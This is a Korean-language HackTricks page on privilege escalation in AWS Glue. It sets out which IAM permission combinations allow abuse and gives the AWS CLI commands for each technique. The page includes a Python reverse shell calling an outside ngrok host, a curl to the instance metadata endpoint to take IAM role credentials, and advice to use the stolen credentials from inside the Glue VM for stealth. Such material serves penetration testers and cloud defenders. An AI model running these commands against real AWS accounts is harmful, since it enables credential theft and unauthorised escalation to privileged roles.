AWS - Glue Privesc
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
glue
iam:PassRole
, glue:CreateDevEndpoint
, (glue:GetDevEndpoint
| glue:GetDevEndpoints
)
이 권한을 가진 사용자는 새로운 AWS Glue 개발 엔드포인트를 설정할 수 있으며, 특정 권한을 가진 Glue에서 가정할 수 있는 기존 서비스 역할을 이 엔드포인트에 할당할 수 있습니다.
설정 후, 공격자는 엔드포인트의 인스턴스에 SSH로 접속하여, 할당된 역할의 IAM 자격 증명을 탈취할 수 있습니다:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
은폐 목적을 위해 Glue 가상 머신 내부의 IAM 자격 증명을 사용하는 것이 권장됩니다.
잠재적 영향: 지정된 Glue 서비스 역할로의 권한 상승.
glue:UpdateDevEndpoint
, (glue:GetDevEndpoint
| glue:GetDevEndpoints
)
이 권한이 있는 사용자는 기존 Glue 개발 엔드포인트의 SSH 키를 변경할 수 있으며, SSH 접근을 가능하게 합니다. 이를 통해 공격자는 엔드포인트에 연결된 역할의 권한으로 명령을 실행할 수 있습니다:
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
잠재적 영향: 사용된 Glue 서비스 역할로의 권한 상승.
iam:PassRole
, (glue:CreateJob
| glue:UpdateJob
), (glue:StartJobRun
| glue:CreateTrigger
)
**iam:PassRole
**과 glue:CreateJob
또는 glue:UpdateJob
중 하나, 그리고 glue:StartJobRun
또는 glue:CreateTrigger
중 하나를 결합한 사용자는 AWS Glue 작업을 생성하거나 업데이트할 수 있으며, 임의의 Glue 서비스 계정을 연결하고 작업 실행을 시작할 수 있습니다. 이 작업의 기능에는 임의의 Python 코드를 실행하는 것이 포함되며, 이를 이용해 리버스 셸을 설정할 수 있습니다. 이 리버스 셸은 Glue 작업에 연결된 역할의 IAM 자격 증명을 유출하는 데 사용될 수 있으며, 이는 해당 역할의 권한에 따라 잠재적인 무단 접근 또는 행동으로 이어질 수 있습니다.
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
잠재적 영향: 지정된 glue 서비스 역할로의 권한 상승.
glue:UpdateJob
업데이트 권한만으로 공격자는 이미 연결된 역할의 IAM 자격 증명을 훔칠 수 있습니다.
잠재적 영향: 연결된 glue 서비스 역할로의 권한 상승.
참조
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.